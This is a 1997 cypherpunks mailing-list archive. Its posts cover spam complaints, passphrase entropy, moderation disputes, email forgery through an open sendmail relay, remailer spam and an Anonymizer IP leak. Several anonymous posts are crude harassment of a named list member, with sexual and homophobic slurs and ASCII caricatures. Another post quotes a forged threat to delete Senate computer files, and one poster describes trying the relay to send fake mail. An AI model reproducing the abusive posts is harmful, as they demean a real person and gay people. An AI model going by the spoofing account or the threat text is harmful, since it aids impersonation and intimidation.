[207.207.2.8]) by natashya.eden.com (8.8.5/8.8.1) with SMTP id SAA15421; Thu, 6 Feb 1997 18:58:00 -0600 (CST) Message-Id: <3.0.32.19970206185637.009f1b40 at mail.eden.com> Date: Thu, 06 Feb 1997 18:56:40 -0600 To: postmaster at telysis.com, postmaster at dm.com From: "John D. Webb" Subject: SPAM ABUSE: FREE OFFER !! To whom it may concern, I received this *unsolicited* SPAM mail originating from or referencing your domain. I do *not* appreciate receiving such junk mail. I request that you take whatever steps are necessary with the account holder to see that they desist such abuses. Thank you, John Webb ========================================================================== Date: Sat, 8 Feb 1997 11:06:21 -0500 (EST) From: FZR400 at aol.com Message-Id: <970208110620_-1174326236 at emout05.mail.aol.com> To: postmaster at bwalk.dm.com Subject: Re: Returned mail SOMEONE AT THIS DOMAIN HAS BEEN SENDING UNSOLICITED E-MAIL ADVERTISING. TELL THEM TO CEASE AND DESIST IMMEDIATELY. Member, Internet Advertising Relief Association http://users.aol.com/fzr400/junkmail.htm ========================================================================== Received: from benicia60.castles.com (benicia60.castles.com [206.54.43.80]) by mustang.via.net (8.6.9/8.6.9) with SMTP id WAA26381; Sat, 8 Feb 1997 22:12:37 -0800 Message-Id: <199702090612.WAA26381 at mustang.via.net> Date: Sat, 08 Feb 1997 22:13:02 -0800 To: abuse at PSI.COM, root at CLEVER.NET, abuse at CLEVER.NET From: Brad Albom Subject: SPAM: FREE OFFER !! Cc: freeway at dm.com Hi- This email is to notify you that one of the domains and/or users that you are resolving for is sending SPAM email. The email included below was unsolicited and unwelcome. I presume that you have policies regarding this type of activity and will take appropriate action. Thank you, -brad albom Software Engineering Solutions, Inc 2685 Marine Way, Suite 1215, Mountain View, CA 94043 email: brada at sesinc.com <- Office address alt : brada at via.net <- Home address, checked more frequently phone: (415) 969-0141 alt : (707) 552-5248 ========================================================================== Meaw. From unde0275 at frank.mtsu.edu Sun Feb 9 08:40:18 1997 From: unde0275 at frank.mtsu.edu (Internaut) Date: Sun, 9 Feb 1997 08:40:18 -0800 (PST) Subject: Passphrase generation Message-ID: <01BC1675.656788C0@s17-pm04.tnstate.campus.mci.net> Hi, I am wanting to learn how to generate a passphrase that is at least as strong as the IDEA algorithm. I have looked several other places on the web for an answer to this, but they all had different things to say that didn't add up (no pun intended :). The IDEA algorithm it seems is 2^128 = 3.402823669209e+38 = 16 bytes (charactors). The charactor count seems kinda small (I am presuming the 16 charactors are truely random). Indeed, 128(ASCII charactor set)^16 = 5.192296858535e+33. Is my thinking right here? Is it better to do this- 94(printable ASCII set)^20 = 2.901062411315e+39, yielding 20 charactors? Also, if you come up with a phrase and put enough (perhaps 5 or 6) ASCII nonsense in there for it not to be in any crack dictionaries, how random is that? Is it only as random as the extra charactors you put in? How would you calculate that? Also, how many charactors do you have to add of a set to add its permulations (i.e. Does gibber&sh add all ASCII symbols to the equation)? Thanks, Internaut From jimbell at pacifier.com Sun Feb 9 09:13:42 1997 From: jimbell at pacifier.com (jim bell) Date: Sun, 9 Feb 1997 09:13:42 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702091713.JAA05962@mail.pacifier.com> At 09:44 PM 2/5/97 -0800, Sean Roach wrote: >This time I have opted for a point by point. >At 07:59 PM 2/5/97 -0800, jim bell wrote: >>1. Large numbers of potentially competent and useful people get put into >>useless jobs: "Army, Navy, and Marines, and Air Force" spring to mind. >>(Those people who still think military spending is really necessary >>obviously haven't read AP.) >This point I can not argue with, at least not directly. I do believe that >the military way is wasteful of resources. Notice, however, that "pre-AP-theory," there was never any "good" way to theorize getting rid of the military: It always appeared that OUR military was needed to protect us against THEIR military. AP fixes that problem. > However, this is one area that >has actually benefitted the lower-income bracket in that it gives them >"inexpensive" (off-chance of death) access to good training. "War is good business...Invest your son!" There's no doubt that militaries look like a good deal to at least some fraction of the population. However, as is usually true, the amount of money that could be saved if we didn't have to buy military junk would do just as well applied to other products or services. >>2. Large amounts of money are spent on military hardware, money which goes >>to fund people who would otherwise develop useful products in the >>non-government private sector. >Three things that promote technological growth, expansion, war, threat of war. >As for expansion. we really have no where else to go. As for war and threat >of war, the computer was invented during a war, atomic energy was harnessed >during war, the internet was created during threat of war. Many >advancements, though not all, come to benefit society later. For that >matter, steel was probably invented during a war as well, but I can't prove it. I think that's a somewhat distorted way to look at it. War drastically changes the economics associated with technical developments: In WWII, millions of dollars became available for development of computers due to their ability to decrypt codes. It is by no means surprising that suddenly making it 10x more affordable to buy computers (not by reducing their costs, but by raising the amount of money provided) would make computers appear to be the product of war. You may recall estimates (which are frequently re-quoted, BTW)that proposed that there would only be a market for (say) 5-10 computers in the world. That estimate is frequently cited as an example of how wrong they were, but in reality that estimate assumed pricing based on then-current costs, and they were probably accurate! It is the _subsequent_ development of transistors which made those original estimates "wrong." Nuclear power, similarly, was born in a flood of money for the same war. Expensive government installations, such as Los Alamos, NM, Hanford Washington, and Oak Ridge Tennessee were built for that purpose. Activities which would have been highly uneconomical during peacetime were suddenly worth doing. If war makes technical development happen, it is only because of how supremely wasteful it is. Useful things still get done, but they get done in a highly uneconomical fashion and _before_ they would normally be done in a non-war world. Jim Bell jimbell at pacifier.com From mgursk1 at umbc.edu Sun Feb 9 09:36:45 1997 From: mgursk1 at umbc.edu (Michael Gurski) Date: Sun, 9 Feb 1997 09:36:45 -0800 (PST) Subject: Is Sandy really censoring criticisms of Stronghold, his product? In-Reply-To: <199702071813.SAA16692@mailhub.amaranth.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Fri, 7 Feb 1997, William H. Geiger III wrote: > I do find the accusation that Sandy blocked the posting of a message critizing > the company he works for rather troubling. Though there are several > possibilities: > > 1 - It is just more FUD. > > 2 - Snafu. As I am sure everyone here is aware of that this happend more often > than not with computer system. > > 3 - It's true. This would be realy sad and probably do irreparable harm to > Sandy's reputation. > > I hope that it is #1 or #2 if it is #3 I doubt that I will stay any longer on > the cypherpunks list. :( Count it as #3... Sandy didn't pass my response to one of Vulis' messages (asking for him to supply some evidence) to either list, and e-mailed me, telling me about it. |\/|ike Gurski mgursk1 at umbc.edu http://www.gl.umbc.edu/~mgursk1/ finger/mail subject "send pgpkey"|"send index" Hail Eris! -><- O- |Member, 1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570 | Team My opinions are mine alone, even if you should be sharing them. | OS/2 Senate Finance Committee Chair, SGA 1996-1997 -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: I am not a number, I am a free man! iQCVAwUBMv4LFSKEMrE5tbrdAQGAJgP/XMOwPHGlEeyapjq/YboDKoJSAmasZulk 5nOyZGTZ4hVvb2L5EPTvRSFzKcqlxhBGPw/ww8aRjnKZjnubpeJ0xthxuLi6PQUC IAhTbJnQhoZ6q6fxMr4mv9syi8B9NXO0w0OSs3qp8CPMWYA+09JAEsthsgvsuT8V CQrRFWt5jGo= =BLNH -----END PGP SIGNATURE----- From mgursk1 at umbc.edu Sun Feb 9 09:47:28 1997 From: mgursk1 at umbc.edu (Michael Gurski) Date: Sun, 9 Feb 1997 09:47:28 -0800 (PST) Subject: Taking advantage of Newt's phone calls Message-ID: -----BEGIN PGP SIGNED MESSAGE----- It seems like Sprint's taking advantage of the tap on Newt's little call there by advertising how Sprint Spectrum is private and no one can listen in, with little "signal" graphics going from one SS phone to another in DC... Cute... |\/|ike Gurski mgursk1 at umbc.edu http://www.gl.umbc.edu/~mgursk1/ finger/mail subject "send pgpkey"|"send index" Hail Eris! -><- O- |Member, 1024/39B5BADD PGP Keyprint=3493 A994 B159 48B7 1757 1E4E 6256 4570 | Team My opinions are mine alone, even if you should be sharing them. | OS/2 Senate Finance Committee Chair, SGA 1996-1997 -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: I am not a number, I am a free man! iQCVAwUBMv4NVCKEMrE5tbrdAQFIpgQAsS87dmofyalpLJMJjIRk71KmZheEbhnJ WNvCO2fvvxP5aURbeh/MwVV7KOL0hcISPVWoFXrP9HmWSuhc3X7TRCQKVGESTOzS 9z2TaTF8hcAV8PFN3CCReBU5p/6OUBLN85pMbgyk818hAMf9LRhnroauSzQlXtGz iAhkvhlnBUg= =eAZ+ -----END PGP SIGNATURE----- From dthorn at gte.net Sun Feb 9 09:47:45 1997 From: dthorn at gte.net (Dale Thorn) Date: Sun, 9 Feb 1997 09:47:45 -0800 (PST) Subject: MODERATION In-Reply-To: <01IF6XNGHTCK9AN5VD@mbcl.rutgers.edu> Message-ID: <32FE0D64.7C6F@gte.net> E. Allen Smith wrote: > While I ultimately concluded it (or at least the manner of doing it) > was a bad idea, I am appreciative of the effort. I hope this won't discourage > you too much from trying out other (hopefully better) ideas. Great idea, Allen. The fox only ate *some* of the chickens first time around, but let's train the fox a little, and then throw him into the chicken coop for round two. Like, fer sure. From isptv at access.digex.net Sun Feb 9 10:05:15 1997 From: isptv at access.digex.net (ISP-TV Main Contact) Date: Sun, 9 Feb 1997 10:05:15 -0800 (PST) Subject: Ken Bass Interview Schedule Corrections Message-ID: <199702091805.NAA10043@access4.digex.net> *** ISP-TV Schedule Correction *** Ken Bass (counsel for Phil Karn) interviewed live on "Real Time" *** >> *** Monday, Feb. 10 *** << Note the date correction *** 9:00 PM ET *** Ken Bass is a partner in the firm of Venable, Baetjer, Howard & Civiletti, LLP, and is the head of that firm's Appellate Practice Group. Recently Venable served as counsel to Phil Karn during his dispute with the Department of State concerning export of a diskette containing the source code for cryptographic algorithms published in the book _Applied_ _Cryptography_, having already received permission to export the book. See http://isptv.digex.net/real.time.html for more information about "Real Time" Call-in questions will be taken during the show at (301) 847-6571. **** This video interview can be viewed on the ISP-TV main CU-SeeMe reflector at IP 205.197.248.54, or other ISP-TV affiliate reflectors listed at http://isptv.digex.net/members.html. See URL http://isptv.digex.net for more information about the ISP-TV Network To get email about future programming on ISP-TV, email the word "subscribe" to isptv-prog-request at isptv.digex.net. To obtain Enhanced CU-SeeMe software, go to: http://goliath.wpine.com/cudownload.htm From aronb at nishna.net Sun Feb 9 10:15:45 1997 From: aronb at nishna.net (Aron Bierbaum) Date: Sun, 9 Feb 1997 10:15:45 -0800 (PST) Subject: UNSUBCRIBE CENSORSHIP Message-ID: <2F39B26F.6753@nishna.net> UNSUBCRIBE CENSORSHIP From nobody at huge.cajones.com Sun Feb 9 10:21:58 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sun, 9 Feb 1997 10:21:58 -0800 (PST) Subject: No Dimitri? Message-ID: <199702091821.KAA20567@mailmasher.com> Dead Vulgar K>rust< Of The Moment's police record is many times longer than his prick (well, that's not hard). o_o ( ) Dead Vulgar K>rust< Of The Moment ( | | ) ' " " ` From jya at pipeline.com Sun Feb 9 10:23:21 1997 From: jya at pipeline.com (John Young) Date: Sun, 9 Feb 1997 10:23:21 -0800 (PST) Subject: Who's Censoring Who? Message-ID: <1.5.4.32.19970209181732.006dba6c@pop.pipeline.com> Sandy's e-mailed several of us who've sent messages about Vulis's ploy to put Sandy in a conflict-of-interest bind -- a well-known attack on moderators of all kinds, not just on the net. What's worth admiring is how Vulis has adeptly managed to get others -- targets and witting and unwitting cohorts -- to go along with his attack, attack, attack, by opposing or supporting it. A useful lesson. Smart dude, that Vulis, but no more so than others on the Net, say, Tim May, and in the world who've done the same elsewhere, maybe by even smarter dude(s) who provoked, angered, insulted, an unwitting Vulis, or May, to attack on behalf of ... But such deception is to be expected, along with feigned suprise and outrage at the unfairness of opponents fighting as dirty as one's own pure-blackhearts. Sandy's not censoring cypherpunks, nor is Vulis or May or any single person alone. As Pogo said, it's all of us, posters and lurkers and spooks, each trying to get one's way to prevail, under guise of a high principle not easily honored when the squeeze is on alone in a dark cell. Come on out Sandy, it was just a drill. It's probably worth saving accusations of censorship for the real thing, after trial usage here for what is truly nasty high-stakes global info-war gaming. From dlv at bwalk.dm.com Sun Feb 9 11:10:11 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Sun, 9 Feb 1997 11:10:11 -0800 (PST) Subject: Is Sandy really censoring criticisms of Stronghold, his product? In-Reply-To: Message-ID: Michael Gurski writes: > > On Fri, 7 Feb 1997, William H. Geiger III wrote: > > > I do find the accusation that Sandy blocked the posting of a message critiz > > the company he works for rather troubling. Though there are several > > possibilities: > > > > 1 - It is just more FUD. > > > > 2 - Snafu. As I am sure everyone here is aware of that this happend more of > > than not with computer system. > > > > 3 - It's true. This would be realy sad and probably do irreparable harm to > > Sandy's reputation. > > > > I hope that it is #1 or #2 if it is #3 I doubt that I will stay any longer > > the cypherpunks list. :( > > Count it as #3... Sandy didn't pass my response to one of Vulis' > messages (asking for him to supply some evidence) to either list, and > e-mailed me, telling me about it. Please post Sandfart's e-mail to this mailing list. Thank you. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From EALLENSMITH at ocelot.Rutgers.EDU Sun Feb 9 11:20:52 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Sun, 9 Feb 1997 11:20:52 -0800 (PST) Subject: RRE: Proposed satellite monitoring of car movements in Sweden Message-ID: <01IF7R5JKCAO9AN66A@mbcl.rutgers.edu> From: IN%"bdolan at USIT.NET" "Brad Dolan" 9-FEB-1997 10:35:16.85 >"Love it or leave it?" >On Sun, 9 Feb 1997, Phil Agre wrote: >> You have plenty of choice. If you don't like our country, move somewhere >> else. I made the point back to Dr. Agre that I can't choose to live in _no_ country (at least not practically), but I can (except for state-imposed limits) live without automobile insurance. I already do so for credit cards, except for one I use only in emergencies. -Allen From markm at voicenet.com Sun Feb 9 11:29:42 1997 From: markm at voicenet.com (Mark M.) Date: Sun, 9 Feb 1997 11:29:42 -0800 (PST) Subject: Email forgery In-Reply-To: <199702091342.IAA16533@holy.cow.net> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- This is a very strange forgery. It appears that the attacker used fcaglp.fcaglp.unlp.edu.ar as a relay. This machine is running an old version of HP sendmail that apparently accepts any hostname the user enters after "helo". I tried sending myself fakemail using this site but haven't got a response yet. The interesting thing is that the attacker used the hostname echotech.com and not iquest.net. echotech.com is a real domain so the attacker might have been dumb enough to connect from echotech.com and enter the real origin. Or the SMTP server might just pretend it's fooled and put the real hostname in the received header regardless of what's entered after the helo. I'm not familiar with HP sendmail so I don't know whether this is true or not. On Sun, 9 Feb 1997, Bovine Remailer wrote: > Date: Sun, 9 Feb 1997 08:42:45 -0500 (EST) > From: Bovine Remailer > To: cypherpunks at toad.com > > NEW ATTACK ON CP LIST > > > >Date: Sun, 9 Feb 1997 03:55:04 -0500 > >From: Linda Thompson > >To: robert at iquest.net > >Cc: aen-news at aen.org > >Subject: URGENT > > > >Someone is sending THREATS to the President and Senate and using *MY* > >name > >and account to do it. One bounced and was sent to me. You should be > >able > >to find out where it came from by the message I.D. I think it is > >EXTREMELY > >important that you find out where this came from!! > > > >Also, earlier in the day, I got a message that I was subscribed by > >"majordomo" to cypherpunks. I did NOT subscribe to cypherpunks and I > >would > >bet that whoever did THAT also sent this message. > > > >Here's the threat message: > > > >Return-Path: > >Delivered-To: lindat at iquest.net > >Received: (qmail 29848 invoked from network); 9 Feb 1997 02:51:40 -0000 > >Received: from fcaglp.fcaglp.unlp.edu.ar (163.10.4.1) > > by iquest3.iquest.net with SMTP; 9 Feb 1997 02:51:40 -0000 > >Received: by fcaglp.fcaglp.unlp.edu.ar > > (1.38.193.4/16.2) id AI19659; Sat, 8 Feb 1997 23:49:27 -0300 > >Message-Id: <9702090249.AI19659 at fcaglp.fcaglp.unlp.edu.ar> > >Date: Sat, 8 Feb 1997 05:12:37 -0300 > >From: MAILER-DAEMON at fcaglp.fcaglp.unlp.edu.ar (Mail Delivery Subsystem) > >Subject: Returned mail: User unknown > >To: lindat at iquest.net > >X-UIDL: 85c7fe8ecdc2605eb6bc80bfa71b223e > >Status: U > > > > ----- Transcript of session follows ----- > >550 xfAA16374: line 6: vice-president at whitehouse.gov... User unknown > > > > ----- Unsent message follows ----- > >Received: from echotech.com by fcaglp.fcaglp.unlp.edu.ar with SMTP > > (1.38.193.4/16.2) id AA16374; Sat, 8 Feb 1997 05:12:37 -0300 > >Message-Id: <9702080812.AA16374 at fcaglp.fcaglp.unlp.edu.ar> > >Date: Sat, 8 Feb 1997 05:12:37 -0300 > >From: lindat at iquest.net > >Return-Path: [recipient list deleted] > >Reply-To: lindat at iquest.net > >Return-Receipt-To: lindat at iquest.net > >Comment: Authenticated sender is > >Subject: message to USSA Senate > > > >All files on the Senate's computers will be deleted by our > >gang of cypherpunks dedicated to the eradication of your systems. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMv4meizIPc7jvyFpAQFu/ggAoap+9UBSbtitcQuGL3Og5u1nQRJhaviV BJqXC0ZwNBKCEeVQm3HIME47eqB8JVite2YBvyXZbj/QAsFQAEY1k4oJlfn5tCLE w/ifDrqeQhFWXtNC64iRFJm7EEOMDJ56rNVUA8NkKJZstl8ny/7LTFeTDGxf18gL nQVHJ447I5B0WVQt42F1Gfcmxh3bPjbZXd8TRKSKjhuBfqum8916dlXso1hB3WaC TSYIHa3R33HmwYA2xtDJ6ZJwtlPF/wPkVIYgbhrt+S6SPGfa+yEUnCE72qceo3eh 1imu97YBiP0EPveEdD5yIlH23rZRbCJ9RmDrZruCY2ldG1wJh3+6Jg== =psFL -----END PGP SIGNATURE----- From attila at primenet.com Sun Feb 9 11:39:32 1997 From: attila at primenet.com (Attila T. Hun) Date: Sun, 9 Feb 1997 11:39:32 -0800 (PST) Subject: lead remailer is shut down In-Reply-To: <199702070340.UAA22677@infowest.com> Message-ID: <199702091939.MAA15243@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970207:0339 zinc said: +i came in today to find they (university system admins) had pulled the +plug on my machine. this is all because some luser spammed usenet +using the remailer on my machine. thanks a lot. +so, the lead remailer is gone for good; it lasted almost exactly one +year. that is the universal problem. we make the remailer chains so they guarantee privacy, but we cannot filter for spam... unless it is the last mixmaster in the chain. it sounds like we need a postprocessor which can 1) contain addresses and domain numbers of known spammers; 2) log senders to obtain a usage profile (over a very short time, and that is itself encrypted) which can spot enormous expansion headers. for instance, linda thompson is accusing a cypherpunk [more like a cypherpunk hater] of faking her address on threatening material to all 100 senators plus Al Bore; interestingly, the perpetrator left enough information in the header, which was returned for addressing Al Bore incorrectly, to be able to narrow the field; and, 3) most spamming seems to follow a pattern which it should be possible to scan for. the problem, of course, being that "innocent" messages will potentially be trashed. whatever it takes, there are a finite number of sites which can host remailer traffic. for instance, I have been debating whether or not we can afford the load on our single T1 which is currently supporting 200 simultaneous ppp connections plus some high-volume commerical web pages. We are at least a year away from T3 due to lack of circuit facilities. let's figure a way to stop at least some of the abuse; you can not stop the individual abuse, but does a spammer have any rights? --attila -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMv4nxb04kQrCC2kFAQHAngP+J+JRSKLXsLcug00moPK78brGzzmSTRVI BQmHM9845OWXazbQVj6Q9+HiV5I+7wGY2INm7i6PI9ebNRptORfCTlHkmMzrwfmj Ji/WzhDkJ0eRvmDwHxBuq5unqYLe9ACtMrOCGQo+EYywNcscsXKKuMvFKAPC/Bp8 M46FHO9AphM= =NEYd -----END PGP SIGNATURE----- From frogfarm at yakko.cs.wmich.edu Sun Feb 9 12:12:53 1997 From: frogfarm at yakko.cs.wmich.edu (Damaged Justice) Date: Sun, 9 Feb 1997 12:12:53 -0800 (PST) Subject: ANON: anonymizer.com thru proxy server is bad news Message-ID: <199702092015.PAA30654@yakko.cs.wmich.edu> >From: jmccorm at galstar.com (Josh McCormick) Newsgroups: comp.infosystems.www.misc,alt.anonymous,comp.infosystems.www.browsers.misc,alt.2600,ok.general Subject: NOT ALWAYS ANONYMOUS: "www.anonymizer.com" Date: 9 Feb 1997 19:25:46 GMT Lines: 43 Message-ID: <5dl8bq$6h3 at mercury.galstar.com> THE CLAIM: > Our "anonymizer" service allows you to surf the web without > revealing any personal information. THE PROBLEM: > If you access The Anonymizer through a proxy server, it may add a > variable, such as "HTTP_FORWARDED", that The Anonymizer does not filter > out, revealing your true identity. THE DATA: > Below is a printout of the variables from an "anonymous" session done > through The Anonymizer when accessed through the Squid proxy server. REMOTE_HOST=darkmatter.infonex.com REMOTE_ADDR=206.170.114.24 HTTP_USER_AGENT=Mozilla/3.01 (via THE ANONYMIZER!) HTTP_HOST=sol.infonex.com:8080 HTTP_FORWARDED=by http://galaxy.galstar.com:3128/ (Squid/1.0.20) for 204.251.83.41 HTTP_PRAGMA=no-cache HTTP_PROXY_CONNECTION=Keep-Alive THE RESULT: > A CGI script could see that you were using The Anonymizer to hide > yourself, but your true IP address is revealed in the "HTTP_FORWARDED" > string. THE SUMMARY: > Beware using an anonymous browsing service if you are going through a > proxy server. Until they remove the information provided by proxy > servers, using their service isn't as anonymous as they say. THE QUOTE: > (from The Anonymizer home page) "Many people surf the web under the > illusion that their actions are private and anonymous. Unfortunately, it > isn't so." ===================================================================== == Josh McCormick Galaxy Star Systems == == jmccorm at galstar.com Providing Quality Internet Access == == Systems Administrator WWW: http://www.galstar.com/~jmccorm == ===================================================================== -- http://yakko.cs.wmich.edu/~frogfarm/ ...for the best in unapproved information "Would I had phrases that are not known, utterances that are strange, in new language that has not been used, free from repetition, not an utterance which has grown stale, which men of old have spoken." - inscribed on Egyptian tomb From nobody at wazoo.com Sun Feb 9 12:20:53 1997 From: nobody at wazoo.com (Anonymous) Date: Sun, 9 Feb 1997 12:20:53 -0800 (PST) Subject: Corelation Message-ID: <199702092020.NAA14898@earth.wazoo.com> Dogfucker Vulture KreepOfTheMinute enjoys sucking the puss from his syphilitic faggot friends. v-v-v-@@-v-v-v (..) Dogfucker Vulture KreepOfTheMinute From jer+ at andrew.cmu.edu Sun Feb 9 13:06:02 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Sun, 9 Feb 1997 13:06:02 -0800 (PST) Subject: Passphrase generation In-Reply-To: <01BC1675.656788C0@s17-pm04.tnstate.campus.mci.net> Message-ID: <0mzXk_200YUf021bA0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- Internaut writes: > Hi, > I am wanting to learn how to generate a passphrase that is at least as > strong as the IDEA algorithm. I have looked several other places on the > web for an answer to this, but they all had different things to say that > didn't add up (no pun intended :). Chech out the cannonical passphrase FAQ: http://www.stack.nl/~galactus/remailers/passphrase-faq.html This one has some quick reminders of what to do and not to do http://www.encryption.com/pphrase.htm Bottom line, totally random ASCII will have lots of bits per character, but english has about 1.2 bits per character. Misspellings can add to that, depending on the extent of mutillation . Combining certain words can make your passphrase weaker (such as "To be or not to be," "This is my passphrase," etc.). HTH, Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMv48Bskz/YzIV3P5AQGSaQMAjrTuhDUZ4THFFN9wgV8DhODJtHSGnmBM EPmo02rXsN4gslmVpV9+k7sRTOvuZ+vCYvNQL+knaMz4QiNsz8FUleUqo3v5Nx1w 7pJjcWK1wvKe9Y6ky6PXnAECRZ73gVuj =P1Zh -----END PGP SIGNATURE----- From nobody at wazoo.com Sun Feb 9 13:17:45 1997 From: nobody at wazoo.com (Anonymous) Date: Sun, 9 Feb 1997 13:17:45 -0800 (PST) Subject: MS Crypto API Message-ID: <199702092117.OAA16670@earth.wazoo.com> Dr.Dimmy L(ogjam) Vulgar K(rust) Of The Minute sits at his terminal dressed in five-inch stiletto heels, fishnet stockings, a gold-lame mini-skirt, a purple halter with girdle underneath to keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank whenever a black man responds to one of his inane rants. |\ \ \ \ \ \ \ \ __ | \ \ \ \ \ \ \ \ | O~-_ Dr.Dimmy L(ogjam) Vulgar K(rust) Of The Minute | >----|-|-|-|-|-|-|--| __/ | / / / / / / / / |__\ |/ / / / / / / / From nobody at wazoo.com Sun Feb 9 14:06:15 1997 From: nobody at wazoo.com (Anonymous) Date: Sun, 9 Feb 1997 14:06:15 -0800 (PST) Subject: [RANT] WANTED: Tolerant, anonymity-friendly news admins Message-ID: <199702092206.PAA18345@earth.wazoo.com> Dr.Drunkard Virus K}arcass{OTM enjoys sucking the puss from his syphilitic queer friends. /// (0 0) ____ooO_(_)_Ooo__ Dr.Drunkard Virus K}arcass{OTM From nobody at huge.cajones.com Sun Feb 9 14:09:17 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sun, 9 Feb 1997 14:09:17 -0800 (PST) Subject: [PVT] Export restrictions Message-ID: <199702092209.OAA27719@mailmasher.com> Drunkard Vindictive K[ock] Of The Minute wears satin lingerie embroidered with pink swastikas, prancing around for his homosexual, AIDS infected lovers. o_o ( ) Drunkard Vindictive K[ock] Of The Minute ( | | ) ' " " ` From jimbell at pacifier.com Sun Feb 9 15:55:29 1997 From: jimbell at pacifier.com (jim bell) Date: Sun, 9 Feb 1997 15:55:29 -0800 (PST) Subject: ComLaw> URGENT!! SET UP IN PROGRESS!! (fwd) Message-ID: <199702092355.PAA12294@mail.pacifier.com> I'm forwarding this from the commonlaw list because of the usage of the name, "cypherpunks." >Date: Mon, 10 Feb 1997 00:50:48 +0100 (NFT) >From: Slater >To: commonlaw at teleport.com >Subject: ComLaw> URGENT!! SET UP IN PROGRESS!! (fwd) >Sender: owner-commonlaw at teleport.com > > >---------- Forwarded message ---------- >Date: Mon, 10 Feb 1997 00:46:40 GMT >From: Linda Thompson >To: aen-news at aen.org >Cc: robert at iquest.net >Subject: URGENT!! SET UP IN PROGRESS!! > >This morning near 3:00 a.m., somebody sent messages to ALL the Senate and >House members, putting *MY* email name and address on them, and another set, >putting *AL'S* email name and address on them, threatening to delete all the >House and Senate files (whatever THAT means), saying: > >"All files on the Senate's computers will be deleted by our >gang of cypherpunks dedicated to the eradication of your systems." > >[The one to the House members was the same, except the word "Senate" was >"House."] > >Some of the messages had bad addresses, though, so they bounced to us, since >whoever the real sender was had put our names as the "sender," which is how >we found out about it. > >This looks like someone could be really intending to do something to the >House/Senate computers and they are obviously trying to lay it at our feet. > >Is there legislation pending somewhere that somebody needed a so-called >"terrorist threat" to get it passed ??!! > >I have a 1 meg file of the messages we got and the messages we sent out to >our service provider and to the Secret Service I would appreciate if people >would be willing to store for safe keeping. > >Can anyone make the file available for FTP? We don't have an FTP site. > >We are definitely being set up. > > > > >Kind regards, > >Linda Thompson > >******************** V *************************** > DEATH TO THE NEW WORLD ORDER >*************************************************** >Dr. Linda Thompson >Attorney at Law >Chairman, American Justice Federation >Internet: lindat at iquest.net > >**************************************************** > Remember Waco. > The Murderers are still free. >**************************************************** >Have you seen this yet? > > http://206.55.8.10/SkyWriter/WacoMuseum > > > > > Jim Bell jimbell at pacifier.com From scndsun at sprynet.com Sun Feb 9 17:44:03 1997 From: scndsun at sprynet.com (Jerry Basham) Date: Sun, 9 Feb 1997 17:44:03 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702100143.RAA16707@m1.sprynet.com> Return-Path: Received: from WhiteHouse.gov (whitehouse.gov [198.137.241.30]) by falcon.inetnebr.com (8.8.5/8.8.5) with ESMTP id TAA05593 for ; Sun, 9 Feb 1997 19:25:39 -0600 (CST) From: autoresponder at WhiteHouse.gov Received: (from uucp at localhost) by WhiteHouse.gov (8.7.1/uucp-relay) id UAA01520; Sun, 9 Feb 1997 20:24:32 -0500 (EST) Date: Sun, 9 Feb 1997 20:24:32 -0500 (EST) Message-Id: <199702100124.UAA01520 at WhiteHouse.gov> X-AutoReplying-To: scndsun at inetnebr.com Subject: Re: message to USSA House of Representatives To: scndsun at inetnebr.com X-UIDL: f16144392bbe54c5667860b9458f5526 Thank you for writing to President Clinton via electronic mail. Since June, 1993, whitehouse.gov has received over one million messages from people across the country and around the world. Because so many of you write, the President cannot personally review each message. The mail is first read by White House Correspondence staff. Your concerns, ideas, and suggestions are carefully recorded and communicated to the President weekly with a representative sampling of the mail. We are excited about the progress of online communication as a tool to bring government and the people closer together. Your continued interest and participation are very important to that goal. Sincerely, Stephen K. Horn Director, Presidential Email The Office of Correspondence P.S. Please read on - you may find the following information useful. -- This is the only electronic message you will receive from whitehouse.gov. No other message purporting to be from the President or his staff with an address at whitehouse.gov is authentic. If you have received such a message, you have been spoofed. -- You will receive only one autoresponder message per day. -- The only personal addresses at whitehouse.gov are the following: President at whitehouse.gov Vice.President at whitehouse.gov First.Lady at whitehouse.gov Please write to Mrs. Gore and other White House staff by regular mail. The address is: The White House, Washington, D.C. 20500. -- On October 20, 1994, President Clinton and Vice President Gore opened a World Wide Web home page called "Welcome to the White House: An Interactive Citizens' Handbook" and it remains one of the more popular spots on the Web. The White House home page provides, among other things, a single point of access to all government information available electronically on the Internet. "Welcome to the White House" can be accessed at: http://www.whitehouse.gov -- White House documents and publications are available on the World Wide Web (see above) and by email. To receive instructions on retrieving documents by email, please send a message to the following address: publications at whitehouse.gov In the body of your message, type "Send Info" (without quotes); do not include other text (such as message headers or signature lines (.sig files)). The instructions will be sent to you automatically. **************************************************************** List of Clinton Administration Accomplishments (three documents compose the whole): To: publications at whitehouse.gov Message body: send file 317571 send file 317573 send file 317575 **************************************************************** -- The White House Public Access Email FAQ (Frequently Asked Questions) document is available at the following address. The FAQ, among other things, lists alternate sources of government information, i.e., the Congressional email projects. Send an email message (no text necessary) to: faq at whitehouse.gov (This FAQ address is an autoresponder only; any comment sent to this address will not be acknowledged.) ---------- > From: Dale Thorn > To: Jerry Basham <2ndSun at bigfoot.com> > Cc: cypherpunks at toad.com; 